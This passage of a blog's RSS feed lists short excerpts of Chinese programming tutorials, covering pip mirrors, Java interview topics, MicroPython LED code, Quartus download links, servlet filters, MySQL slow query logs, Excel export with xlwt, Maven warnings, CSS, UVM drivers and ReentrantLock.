，只需要软件工作所需的库资源和设置。系统因此而变得高效轻量并保证部署在任何环境中的软件都能始终如一地运行。</description>
    </item>
    <item>
      <title>python的包管理器pip安装经常失败的解决办法：修改pip镜像源</title>
      <link>https://bchobby.github.io/posts/ba095cbc45442b1c8920b189190b3ed3/</link>
      <pubDate>Sat, 29 Jul 2023 20:17:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba095cbc45442b1c8920b189190b3ed3/</guid>
      <description> pip 常用的国内镜像源：&#xA;https://pypi.tuna.tsinghua.edu.cn/simple/ // 清华 http://mirrors.aliyun.com/pypi/simple/ // 阿里云 https://pypi.mirrors.ustc.edu.cn/simple/ // 中国科技大学 http://pypi.hustunique.com/ // 华中理工大学 http://pypi.sdutlinux.org/ // 山东理工大学 http://pypi.douban.com/simple/ // 豆瓣 以设置阿里云镜像源为例（我的电脑系统为 Windows10 ）：&#xA;// 修改 index-url pip config set global.index-url http://mirrors.aliyun.com/pypi/simple/ // 修改 trusted-host pip config set install.trusted-host mirrors.aliyun.com 使用 pip 安装 requests 库，很快就能安装成功；未修改镜像源之前，出现好多好多红字（辣眼睛）。&#xA;pip install requests 因为我本地还安装有其他版本的python，&#xA;所以可以查看 requests 库安装的位置是否正确：&#xA;pip show requests </description>
    </item>
    <item>
      <title>【Java面试丨企业场景】常见技术场景</title>
      <link>https://bchobby.github.io/posts/c3a3f625761b13f40149ced9e3fc972d/</link>
      <pubDate>Sat, 29 Jul 2023 20:06:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3a3f625761b13f40149ced9e3fc972d/</guid>
      <description> 一、单点登录怎么实现的 1. 介绍 单点登录（Single Sign On，SSO）：只需要登录一次，就可以访问所有信任的应用系统&#xA;2. 解决方案 JWT解决单点登录问题&#xA;用户访问应用系统，会在网关判断Token是否有效如果Token无效，则会返回401（认证失败），前端跳转到登录界面用户发送登录请求，网关路由到登录服务，认证校验返回给浏览器一个Token，浏览器将Token保存到Cookie中随后，再去访问应用系统其他服务时，都需要携带Token，由网关统一验证后路由到目标服务 二、权限认证是如何实现的 1. 介绍 后台的管理系统更加注重权限控制，最常见的是RBAC模型来实现RBAC（Role-Based Access Control）：基于角色的访问控制具体实现&#xA;（1）5张表（用户表、角色表、权限表、用户-角色中间表、角色-权限中间表）&#xA;（2）7张表（用户表、角色表、权限表、菜单表、用户-角色中间表、角色-权限中间表、权限-菜单中间表） 2. 案例分析 三、上传数据的安全性怎么控制（网络传输数据安全性） 1. 介绍 用户通过浏览器发送请求，请求数据通过网络传输的，如果是非常敏感的数据，如果有人恶意拦截，可能造成损失可以使用非对称加密（或者对称加密），给前端一个公钥让其把数据加密后传到后台，后台负责解密后处理数据 2. 解决方案 对称加密：数据加密和解密使用相同的秘钥，即加密秘钥也可以用作解密秘钥&#xA;（1）优点：加密速度快，效率高&#xA;（2）缺点：相对不太安全（不要保存敏感信息）非对称加密：有两个秘钥，公开秘钥负责加密，私有秘钥负责解密&#xA;（1）优点：与对称加密相比，安全性更高&#xA;（2）缺点：加密和解密速度慢，建议少量数据加密 3. 总结 文件很大建议使用对称加密，不过不能保存敏感信息文件较小，要求安全性高，建议采用非对称加密 四、负责的项目模块遇到哪些棘手问题，如何解决 1. 介绍 什么背景（技术问题）解决问题过程最终落地方案 2. 案例分享 五、怎么做压测（性能测试）的 六、项目中日志如何采集的 1， 介绍 日志是定位系统问题的重要手段，根据日志信息快速单位系统中的问题采集日志的方式&#xA;（1）常规采集：按天保存到一个日志文件&#xA;（2）ELK：Elasticsearch、Logstash、Kibana 2. ELK案例分享 Elasticsearch：全文搜索分析引擎，可以对数据存储、搜索、分析Logstash：数据收集引擎，可以动态收集数据，对数据进行过滤、分析，将数据存储到指定的位置Kibana：数据分析和可视化平台，配合Elasticsearch对数据进行搜索、分析、图表化展示 七、查看日志的命令 目前采集日志的方式：按天保存到一个日志文件中Linux中查看日志&#xA;（1）实时监控日志的变化&#xA;（2）按照行号查询&#xA;（3）按照关键字查找日志信息&#xA;（4）按照日期查询&#xA;（5）日志太多，处理方式&#xA;八、怎么快速定位系统的瓶颈 压测（性能测试）：项目上线之前测评系统的压力监控工具、链路追踪工具：项目上线之后监控线上诊断工具Arthas：项目上线之后监控、排查&#xA;九、生产问题怎么排查 1. 介绍 已经上线的bug排查思路&#xA;（1）先分析日志，通常在业务中都会有日志的记录，或者查看系统日志，或者查看日志文件，然后定位问题&#xA;（2）远程debug：debug公司的测试环境，调试代码 2. 远程debug案例分析 </description>
    </item>
    <item>
      <title>【雕爷学编程】MicroPython动手做（13）——掌控板之RGB三色灯2</title>
      <link>https://bchobby.github.io/posts/feb513abbd3be69ec1565a7ada2fad33/</link>
      <pubDate>Sat, 29 Jul 2023 19:04:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/feb513abbd3be69ec1565a7ada2fad33/</guid>
      <description>知识点：什么是掌控板？&#xA;掌控板是一块普及STEAM创客教育、人工智能教育、机器人编程教育的开源智能硬件。它集成ESP-32高性能双核芯片，支持WiFi和蓝牙双模通信，可作为物联网节点，实现物联网应用。同时掌控板上集成了OLED显示屏、RGB灯、加速度计、麦克风、光线传感器、蜂鸣器、按键开关、触摸开关、金手指外部拓展接口，支持图形化及MicroPython代码编程，可实现智能机器人、创客智造作品等智能控制类应用。&#xA;掌控板硬件特性:&#xA;ESP-32主控&#xA;处理器：Tensilica LX6双核处理器（一核处理高速连接；一核独立应用开发）&#xA;主频：高达240MHz的时钟频率&#xA;SRAM：520KB&#xA;Flash：8MB&#xA;Wi-Fi标准：FCC/CE/TELEC/KCC&#xA;Wi-Fi协议：802.11 b/g/n/d/e/i/k/r (802.11n，速度高达150 Mbps)，A-MPDU和A-MSDU聚合，支持0.4us防护间隔&#xA;频率范围：2.4~2.5 GHz&#xA;蓝牙协议：符合蓝牙v4.2 BR/EDR和BLE标准&#xA;蓝牙音频：CVSD和SBC音频低功耗：10uA&#xA;供电方式：Micro USB供电&#xA;工作电压：3.3V&#xA;最大工作电流:200mA&#xA;最大负载电流:1000mA&#xA;掌控板载&#xA;三轴加速度计MSA300,测量范围:±2/4/8/16G&#xA;地磁传感器MMC5983MA,测量范围:±8 Gauss;精度0.4mGz,电子罗盘误差±0.5°&#xA;光线传感器&#xA;麦克风&#xA;3 颗全彩ws2812灯珠&#xA;1.3英寸OLED显示屏，支持16*16字符显示，分辨率128x64&#xA;无源蜂鸣器&#xA;支持2个物理按键(A/B)、6个触摸按键&#xA;支持1路鳄鱼夹接口，可方便接入各种阻性传感器&#xA;拓展接口&#xA;20通道数字I/O， (其中支持12路PWM，6路触摸输入)&#xA;5通道12bit模拟输入ADC，P0~P4&#xA;1路的外部输入鳄鱼夹接口:EXT/GND&#xA;支持I2C、UART、SPI通讯协议&#xA;6、RGB蓝色呼吸灯&#xA;i = None from mpython import * import time while True: for i in range(256): rgb.fill( (int(0), int(0), int(i)) ) rgb.write() time.sleep_ms(1) time.sleep_ms(20) for i in range(255, -1, -1): rgb.</description>
    </item>
    <item>
      <title>Quartus各版本下载分享</title>
      <link>https://bchobby.github.io/posts/fc1831724d309ed9f05772bee45fec20/</link>
      <pubDate>Sat, 29 Jul 2023 18:31:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc1831724d309ed9f05772bee45fec20/</guid>
      <description>今天分享一下Quartus各版本的下载链接&#xA;Quartus是由英特尔（Intel）公司开发的一款用于FPGA设计的集成化开发环境（IDE）。它提供了一系列的工具和功能，用于设计、调试和验证复杂的数字电路。&#xA;一、Quartus介绍 Quartus主要用于针对英特尔公司的FPGA器件进行设计。它支持各种型号的FPGA芯片，包括Cyclone、Arria和Stratix等系列。使用Quartus，设计人员可以创建逻辑电路、编写硬件描述语言（HDL）代码，并进行综合、布局布线、时序分析以及生成可下载到FPGA器件的位流文件。&#xA;Quartus软件有多个版本，每个版本提供不同的功能和特性。以下是一些常见的Quartus版本及其区别：&#xA;Quartus Prime Lite Edition：Lite Edition是免费的版本，适用于入门级和小型项目。它提供了基本的设计功能，包括设计入口、综合、布局布线和仿真等。然而，它的功能相对较少，例如没有时序分析和高级优化功能。&#xA;Quartus Prime Standard Edition：Standard Edition是针对中等规模项目的版本，提供了更多功能和特性。它包括了Lite Edition的所有功能，并增加了时序分析、时序优化、高级布局布线和设计验证等功能。这个版本适用于大多数常规FPGA设计需求。&#xA;Quartus Prime Pro Edition：Pro Edition是Quartus的高级版本，专为复杂、大规模的设计项目和专业用户而设计。它提供了最全面的功能和高级特性。与Standard Edition相比，Pro Edition在时序优化、布局布线、时序分析和时钟管理等方面具有更强的能力。&#xA;Quartus Prime PowerPlay Edition：PowerPlay Edition是专门针对功耗优化的版本。它提供了一系列的功耗分析和优化工具，帮助设计人员在保持性能的同时降低功耗。&#xA;需要注意的是，不同版本的Quartus可能适用于不同的FPGA芯片型号和系列。因此，在选择Quartus版本时，需要根据自己的项目需求和目标器件进行选择。&#xA;一般使用Quartus Prime Lite Edition就够用了。&#xA;二、Quartus各版本的下载链接 Quartus-lite-17.0.0&#xA;https://pan.quark.cn/s/1b94a15842ea&#xA;Quartus-lite-17.1.0&#xA;https://pan.quark.cn/s/e8bac131dbed&#xA;Quartus-lite-18.0.0&#xA;https://pan.quark.cn/s/de504877c7f5&#xA;Quartus-lite-18.1.0&#xA;https://pan.quark.cn/s/b27875e28690&#xA;Quartus-lite-19.1.0&#xA;https://pan.quark.cn/s/a3c8c37bdd42&#xA;Quartus-lite-20.1.0&#xA;https://pan.quark.cn/s/8cb5c5b2a816&#xA;Quartus-lite-20.1.1&#xA;https://pan.quark.cn/s/380ece3a08a9&#xA;Quartus-lite-21.1.0&#xA;https://pan.quark.cn/s/f367b1f5f636&#xA;Quartus-lite-21.1.1&#xA;https://pan.quark.cn/s/d4e7f6175e54&#xA;Quartus-lite-22.1std.0.915&#xA;https://pan.quark.cn/s/ed145f0a321e&#xA;Quartus-lite-22.1std.1.917&#xA;https://pan.quark.cn/s/98f2fd675815&#xA;三、Vivado全版本链接 这里分享下Quartus各版本集合链接，建议订阅一下，后续有版本更新，都会放在这个文件夹。&#xA;https://pan.quark.cn/s/3b67e51f3eda&#xA;本文将不断定期更新中，码字不易，点⭐️赞，收⭐️藏一下，不走丢哦&#xA;本文由FPGA狂飙原创，有任何问题，都可以在评论区和我交流哦&#xA;您的支持是我持续创作的最大动力！如果本文对您有帮助，请给一个鼓励，谢谢。</description>
    </item>
    <item>
      <title>过滤器Filter，登陆验证，过滤敏感词，动态代理，Listener</title>
      <link>https://bchobby.github.io/posts/1ac400ca0281c044de77433e0d52f771/</link>
      <pubDate>Sat, 29 Jul 2023 14:50:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ac400ca0281c044de77433e0d52f771/</guid>
      <description>Filter：过滤器 概念：&#xA;生活中的过滤器：净水器,空气净化器，土匪、web中的过滤器：当访问服务器的资源时，过滤器可以将请求拦截下来，完成一些特殊的功能。过滤器的作用： 一般用于完成通用的操作。如：登录验证、统一编码处理、敏感字符过滤… 快速入门：&#xA;步骤： 定义一个类，实现接口Filter复写方法配置拦截路径 web.xml注解 代码： package cn.itcast.web.filter; import javax.servlet.*; import java.io.IOException; /** * 过滤器快速入门程序 */ //@WebFilter(&#34;/*&#34;)//访问所有资源之前，都会执行该过滤器 public class FilterDemo1 implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println(&#34;filterDemo1被执行了....&#34;); //放行 filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } } 过滤器细节： web.xml配置 &amp;lt;filter&amp;gt; &amp;lt;filter-name&amp;gt;demo1&amp;lt;/filter-name&amp;gt; &amp;lt;filter-class&amp;gt;cn.itcast.web.filter.FilterDemo1&amp;lt;/filter-class&amp;gt; &amp;lt;/filter&amp;gt; &amp;lt;filter-mapping&amp;gt; &amp;lt;filter-name&amp;gt;demo1&amp;lt;/filter-name&amp;gt; &amp;lt;!-- 拦截路径 --&amp;gt; &amp;lt;url-pattern&amp;gt;/*&amp;lt;/url-pattern&amp;gt; &amp;lt;/filter-mapping&amp;gt; 过滤器执行流程</description>
    </item>
    <item>
      <title>安装完 Python 之后，如何设置 Python 环境变量</title>
      <link>https://bchobby.github.io/posts/e76a452ce59503419914d718b915926a/</link>
      <pubDate>Sat, 29 Jul 2023 13:39:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e76a452ce59503419914d718b915926a/</guid>
      <description>人生苦短，我用 Python。最近有许多加群的萌新在咨询 Python 安装的事宜，Python 安装问题不大，可以戳这篇文章：本以为安装 Python 之后就可以万事大吉，高枕无忧了，往命令行中输入 python，发现有下图的错误。&#xA;明明已经安装了 Python，为什么还出现这个错误呢？这里很可能是因为你尚未设置 Python 环境变量。今天小编就手把手教你如何设置 Python 环境变量。 1、首先确定已经安装好了 Python，并且要知道你的 Python 安装到哪个位置了。下图是小编的 Python 安装位置，Python2 和 Python3 都安装了，都默认将其放在了 C 盘。&#xA;2、务必要知道 Python 的安装位置，这个事情很重要。有的小伙伴还不知道怎么复制路径，其实只需要点击路径栏，如下图所示。&#xA;3、此时路径会铺上一层面纱，之后 Ctrl+C 就可以进行复制了，如下图所示。&#xA;4、此时路径会变成类似这样的状态：C:\Python27，反斜杠的路径，这个就是我们想要的结果。当然这个路径是我电脑上的 Python 安装路径，每个人的安装路径可能不一样，只需要找到 Python 安装路径，再将其复制即可。&#xA;5、复制好 Python 路径之后，回到桌面，找到 “我的电脑”，右键，选择 “属性”，如下图所示。&#xA;6、之后弹出下图的系统界面，然后选择左侧栏目中的 “高级系统设置”。&#xA;7、之后弹出 “系统属性” 界面，选择 “高级” 选项卡，再点击右下方的 “环境变量”，如下图所示。&#xA;8、之后在弹出的 “环境变量” 对话框中，点击 “PATH”，然后点击 “编辑” 选项卡。&#xA;9、之后在弹出的 “编辑用户变量” 的 “变量值” 最后将刚刚复制的路径进行粘贴（快捷键是 Ctrl+V）。特别需要注意的是在路径之前要添加一个分号，该分号是英文状态下的分号，表示与前边的路径分开，是另外一个路径。说白了，就在在变量值下输入 “;C:\Python27” 或者 “; 你的 Python 安装路径” 即可。完成之后，一路点击确定即可。&#xA;10、此时输入 cmd，重新打开一个命令行窗口，再次输入 python，如下图所示。此时可以看到 Python 已经成功的设置环境变量了。</description>
    </item>
    <item>
      <title>【MYSQL高级】Mysql找出执行慢的SQL【慢查询日志使用与分析】</title>
      <link>https://bchobby.github.io/posts/69560452b95a8cb62e19281daeac71a5/</link>
      <pubDate>Sat, 29 Jul 2023 10:26:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69560452b95a8cb62e19281daeac71a5/</guid>
      <description>文章目录 分析慢SQL的步骤慢查询日志（定位慢sql）基本介绍慢查询日志是什么？特别说明 查看慢查询日志是否开以及如何开启设置慢SQL的时间阈值查看阈值设置阈值 查询慢查询日志文件中的总记录条数日志分析模拟慢查询日志分析工具`mysqldumpslow` 文章说明 分析慢SQL的步骤 慢查询的开启并捕获：开启慢查询日志，设置阈值，比如超过5秒钟的就是慢SQL，至少跑1天，看看生产的慢SQL情况，并将它抓取出来explain + 慢SQL分析show Profile。（比explain还要详细，可以查询SQL在MySQL数据库中的执行细节和生命周期情况）运维经理 OR DBA，进行MySQL数据库服务器的参数调优。（后端程序员没有这个权限） 慢查询日志（定位慢sql） 基本介绍 慢查询日志是什么？ MySQL的慢查询日志是MySQL提供的一种日志记录，它用来记录在MySQL中响应时间超过阈值的语句，具体指运行时间超过long_query_time值的SQL，则会被记录到慢查询日志中。&#xA;long_query_time的默认值为10，意思是运行10秒以上的语句由慢查询日志来查看哪些SQL超出了我们的最大忍耐时间值，比如一条SQL执行超过5秒钟，我们就算慢SQL，希望能收集超过5秒钟的SQL，结合之前explain进行全面分析 特别说明 **默认情况下，MySQL数据库没有开启慢查询日志，**需要我们手动来设置这个参数。&#xA;当然，如果不是调优需要的话，一般不建议启动该参数，因为开启慢查询日志会或多或少带来一定的性能影响。慢查询日志支持将日志记录写入文件。&#xA;查看慢查询日志是否开以及如何开启 查看慢查询日志是否开启：SHOW VARIABLES LIKE &#39;%slow_query_log%&#39;;。开启慢查询日志：SET GLOBAL slow_query_log = 1;。使用该方法开启MySQL的慢查询日志只对当前数据库生效，如果MySQL重启后会失效。 -- 指定数据库 mysql&amp;gt; use advanced_mysql_learning; Database changed -- 查看慢查询日志是否开启 mysql&amp;gt; SHOW VARIABLES LIKE &#39;%slow_query_log%&#39;; +---------------------+---------------------------------------------------------------------------+ | Variable_name | Value | +---------------------+---------------------------------------------------------------------------+ | slow_query_log | OFF | | slow_query_log_file | D:\Development\Sql\Mysql\mysql8\exe\mysql-8.0.27-winx64\data\dam-slow.log | +---------------------+---------------------------------------------------------------------------+ 2 rows in set, 1 warning (0.00 sec) -- 开启慢查询日志 mysql&amp;gt; SET GLOBAL slow_query_log = 1; Query OK, 0 rows affected (0.</description>
    </item>
    <item>
      <title>基于java在线个人网站源码设计与实现</title>
      <link>https://bchobby.github.io/posts/8eca9ed9e14902288cd17df745463cf6/</link>
      <pubDate>Sat, 29 Jul 2023 08:46:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8eca9ed9e14902288cd17df745463cf6/</guid>
      <description>摘 要&#xA;随着社会及个人社交应用平台的飞速发展，人们的沟通成本逐渐降低，互联网信息的普及也进一步提升了人们对于信息的需求度，通过建立个人网站的方式来展示自己的生活信息同时利用平台结交新的朋友，借助个人网站平台的搭建不仅可以实现个人信息及喜好的发布，同时可以借助个人平台实现相册的建立以及日志的分享，从而实现个性化网络平台的定制，通过个人网站的信息分享、交流、及传递来实现与他人的互动交流。目前主流的个人网站平台包括人们所熟悉的Facebook、微博以及QQ空间等，借助系统或者应用平台打造专属个人空间，通过个人空间可以实现音乐、相册及日志内容的分享，同时可以通过网站平台了解到身边朋友的生活动态及最新相册内容查看，利用个人网站分享美食、音乐及书籍信息帮助推动互联网平台交友需求，同时满足用户的社交需求、娱乐需求及知识需求。&#xA;本文结合社交网络平台的发展趋势，以及人们对于个人网站平台的需求空间，借助JSP技术以及SSM框架实现了个人网站平台的搭建，利用WEB服务器实现前后端数据信息的交互及管理，用户可以通过个人网站平台实现个人视频、音乐及日志内容的分享，通过平台用户信息提供来发现志趣相投的网友，同时结合相册管理以及音乐视频管理工具来实现信息内容的发布和上传，满足用户交友需求及娱乐功能需求。&#xA;关键词：JSP技术；SSM框架；Mysql数据库；个人网站；相册管理&#xA;Design and implementation of personal website based on JSP&#xA;Abstract&#xA;With the rapid development of social and personal social application platforms, people’s communication costs have been gradually reduced, and the popularity of Internet information has further increased people’s demand for information. Through the establishment of personal websites, people can display their life information and make new friends with the platform. With the help of the establishment of personal website platforms, personal information and preferences can be released, At the same time, the establishment of photo albums and the sharing of logs can be realized through the personal platform, so as to realize the customization of personalized network platform, and realize the interactive communication with others through the information sharing, communication and transmission of personal websites.</description>
    </item>
    <item>
      <title>实现字符计数功能</title>
      <link>https://bchobby.github.io/posts/1f594076bf495c767e80b32fef42d8ff/</link>
      <pubDate>Fri, 28 Jul 2023 22:57:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f594076bf495c767e80b32fef42d8ff/</guid>
      <description>## 方法二：使用collections模块&#xA;使用Python内置的collections模块，其中Counter类可以快速实现字符计数功能。&#xA;```python&#xA;from collections import Counter&#xA;def char_count(string):&#xA;char_counts = Counter(string)&#xA;return char_counts&#xA;```&#xA;使用方法相当简单，只需调用`char_count`函数并将需要查询的字符串传递给该函数，如下所示：&#xA;```python&#xA;string = &#34;hello world&#34;&#xA;char_counts = char_count(string)&#xA;print(char_counts)&#xA;```&#xA;输出结果如下：&#xA;```python&#xA;Counter({&#39;l&#39;: 3, &#39;o&#39;: 2, &#39;h&#39;: 1, &#39;e&#39;: 1, &#39; &#39;: 1, &#39;w&#39;: 1, &#39;r&#39;: 1, &#39;d&#39;: 1})&#xA;```&#xA;以上两种方法都可以实现统计字符串中字符数量的功能，使用方法取决于个人的习惯和工作需求。</description>
    </item>
    <item>
      <title>Python数据处理之导入导出excel数据</title>
      <link>https://bchobby.github.io/posts/00c8ce9cbd058a4b46c5fbf7e85cc29f/</link>
      <pubDate>Fri, 28 Jul 2023 21:01:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00c8ce9cbd058a4b46c5fbf7e85cc29f/</guid>
      <description>Python的一大应用就是数据分析了，而数据分析中，经常碰到需要处理Excel数据的情况。这里做一个Python处理Excel数据的总结，基本受用大部分情况。相信以后用Python处理Excel数据不再是难事儿！&#xA;xlwt库将数据导入Excel 将数据写入一个Excel文件&#xA;wb = xlwt.Workbook() # 添加一个表 ws = wb.add_sheet(&#39;test&#39;) # 3个参数分别为行号，列号，和内容 # 需要注意的是行号和列号都是从0开始的 ws.write(0, 0, &#39;第1列&#39;) ws.write(0, 1, &#39;第2列&#39;) ws.write(0, 2, &#39;第3列&#39;) # 保存excel文件 wb.save(&#39;./test.xls&#39;) 可以看到，用xlwt库操作非常简单，基本就三步走：&#xA;打开一个Workbook对象，并用add_sheet方法添加一个表然后就是用write方法写入数据最后用save方法保存 需要注意的是，xlwt库里面所定义的行和列都是从0开始计数的&#xA;定制Excel表格样式&#xA;表格样式一般主要有这么几块内容：字体、对齐方式、边框、背景色、宽度以及特殊内容，比如超链接、日期时间等。下面我们来分别看看用xlwt库怎么定制这些样式。&#xA;字体&#xA;xlwt库支持的字体属性也比较多，大概如下：&#xA;设置字体需要用到xlwt库的XFStyle类和Font类，代码模版如下：&#xA;style = xlwt.XFStyle() # 设置字体 font = xlwt.Font() # 比如设置字体加粗和下划线 font.bold = True font.underline = True style.font = font # 然后应用 ws.write(2, 1, &#39;test&#39;, style) 后续几个属性的设置都是类似的，都是4步走：&#xA;拿到XFStyle拿到对应需要的属性，比如这里的Font对象设置具体的属性值最后就是在write方法写入数据的时候应用就行 单元格对齐&#xA;先来看单元格对齐怎么设置&#xA;# 单元格对齐 alignment = xlwt.Alignment() # 水平对齐方式和垂直对齐方式 alignment.</description>
    </item>
    <item>
      <title>Idea 2023.2 maven 打包时提示 waring 问题解决</title>
      <link>https://bchobby.github.io/posts/b85dbacddad34d91182e7000e7b7b7fd/</link>
      <pubDate>Fri, 28 Jul 2023 19:52:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b85dbacddad34d91182e7000e7b7b7fd/</guid>
      <description>Version idea 2023.2&#xA;问题 使用 Maven 打包 ，控制台输出 Waring 信息&#xA;[WARNING] [WARNING] Plugin validation issues were detected in 7 plugin(s) [WARNING] [WARNING] * org.apache.maven.plugins:maven-dependency-plugin:3.3.0 [WARNING] * org.apache.maven.plugins:maven-resources-plugin:3.2.0 [WARNING] * org.apache.maven.plugins:maven-jar-plugin:3.2.2 [WARNING] * org.apache.maven.plugins:maven-install-plugin:2.5.2 [WARNING] * org.apache.maven.plugins:maven-compiler-plugin:3.10.1 [WARNING] * org.apache.maven.plugins:maven-surefire-plugin:2.22.2 [WARNING] * cn.zhangfusheng:business-help-maven-plugin:3.0.0-SNAPSHOT [WARNING] [WARNING] For more or less details, use &#39;maven.plugin.validation&#39; property with one of the values (case insensitive): [BRIEF, DEFAULT, VERBOSE] [WARNING] 问题分析 根本原来在于所使用的 Maven 版本&#xA;idea 2023.2 内置的 Maven 版本为 3.</description>
    </item>
    <item>
      <title>空元素不占用位置处理</title>
      <link>https://bchobby.github.io/posts/f59f695e63547f9c15d979977a9a8f52/</link>
      <pubDate>Fri, 28 Jul 2023 17:25:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f59f695e63547f9c15d979977a9a8f52/</guid>
      <description>一. 问题场景： 如果将一个元素的CSS设置为margin-right: 10px，即使这个元素为空，那么这10px依然存在，效果如下：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; span { margin-right: 10px; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;span&amp;gt;你好&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;helloWord&amp;lt;/span&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 渲染效果如下：&#xA;二. 解决方案： 利用伪元素:empty，如果该元素为空，则设置display为none掉。&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; span { margin-right: 10px; } span:empty { display: none; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;span&amp;gt;你好&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;helloWord&amp;lt;/span&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 渲染效果如下：</description>
    </item>
    <item>
      <title>AHBRAM验证（3）——AHB master driver初步实现</title>
      <link>https://bchobby.github.io/posts/6bac179e71d437030859b8e285b930c4/</link>
      <pubDate>Fri, 28 Jul 2023 17:16:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6bac179e71d437030859b8e285b930c4/</guid>
      <description>文章目录 一. lvc_ahb_driver代码二. lvc_ahb_master_driver代码三. lvc_ahb_if 更新 一. lvc_ahb_driver代码 在这段代码中，主要是接收到seq后将他发送到对应的sequencer中在uvm_driver中，uvm专门定义了端口uvm_seq_item_pull_port#(REQ,)RSP seq_item_port和方法get_next_item(output REQ)，item_done(input RSP)，用于接收数据；在代码中，通过端口seq_item_port调用get_next_item方法来获取item，获得了item后将调用函数drive_transfer将item发送出去，最后driver调用 item_done告知sequence自己完成数据的传输需要注意的是 void&#39;($cast(rsp, req.clone()));，虽然在定义时使用了参数指定了req是子类句柄，但是clone函数的返回值是uvm_object，所以必须调用$cast将句柄转换为子类句柄rsp.set_sequence_id(req.get_sequence_id()); rsp.set_transaction_id(req.get_transaction_id());这段代码的作用是防止存在多个sequence在同一个sequencer上启动的清况，sequencer不知道将response返回给哪个sequence。 `ifndef LVC_AHB_DRIVER_SV `define LVC_AHB_DRIVER_SV class lvc_ahb_driver #(type REQ = lvc_ahb_transaction, RSP = REQ) extends uvm_driver #(REQ, RSP); `uvm_component_utils(lvc_ahb_driver) function new(string name = &#34;lvc_ahb_driver&#34;, uvm_component parent ); super.new(name, parent); endfunction function void build_phase(uvm_phase phase); super.build_phase(phase); endfunction function void connect_phase(uvm_phase phase); super.connect_phase(phase); endfunction task run_phase(uvm_phase phase); super.run_phase(phase); fork get_and_drive(); reset_listener(); join_none endtask virtual task get_and_drive(); forever begin seq_item_port.</description>
    </item>
    <item>
      <title>ide运行报错“Command line is too long”解决办法</title>
      <link>https://bchobby.github.io/posts/bb56d315a2df736a2f6c79d16e0cb631/</link>
      <pubDate>Fri, 28 Jul 2023 17:08:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb56d315a2df736a2f6c79d16e0cb631/</guid>
      <description> 有时运行程序时，ide会报如下错，如何解决呢，其实提示已经告诉你解决办法了。点击图中的蓝色超链接： “JAR MAINIFEST” 或 “CLASSPATH FILE” 都能解决问题&#xA;这是因为命名的方法名太长了才会报这个错&#xA;方法2&#xA;如果没有弹窗，也可以找到ide左上角，红色方框位置，点击&#xA;选择编辑配置&#xA;选择下图红框位置&#xA;选择箭头指向任意一个选项，点击确定即可； </description>
    </item>
    <item>
      <title>详解ReentrantLock---可重入锁(小白易懂)</title>
      <link>https://bchobby.github.io/posts/d6398c0b1d9ffa1a54fa3f261989d318/</link>
      <pubDate>Fri, 28 Jul 2023 16:58:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6398c0b1d9ffa1a54fa3f261989d318/</guid>
      <description>详解ReentrantLock(小白易懂) 初识ReentrantLock ReentrantLock是可重入的互斥锁，虽然具有与synchronized相同功能，但是会比synchronized更加灵活（具有更多的方法）。 ReentrantLock底层基于AbstractQueuedSynchronizer实现 AbstractQueuedSynchronizer抽象类定义了一套多线程访问共享资源的同步模板，解决了实现同步器时涉及的大量细节问题，能够极大地减少实现工作， 用大白话来说，AbstractQueuedSynchronizer为加锁和解锁过程提供了统一的模板函数，只有少量细节由子类自己决定。 ReentrantLock结构组成 学任何知识的第一件事，就是看清它的全貌，梳理出整体结构与主流程，之后逐个击破，所以带读者们先看下ReentrantLock整体结构组成， 对它的实现有个大致的了解。 上图可以看出来，ReentrantLock整体结构还是非常简单，给读者们分析一波，为什么ReentrantLock结构是这样设计的， 首先ReentrantLock实现了Lock接口，Lock接口是Java中对锁操作行为的统一规范，遵守规则规范是守法公民的基本素养，合情合理，Lock接口的定义如下: public interface Lock { /** * 获取锁 */ void lock( ); /** * 获取锁-响应中断 */ void lockInterruptibly() throws InterruptedException; /** * 返回获取锁是否成功状态 */ boolean tryLock(): /** * 返回获取锁是否成功状态-响应中断 */ boolean tryLock(long time, TimeUnit unit) throws InterruptedException; /** * 释放锁 */ void unlock(); /** * 创建条件变量 */ Condition newCondition(): } 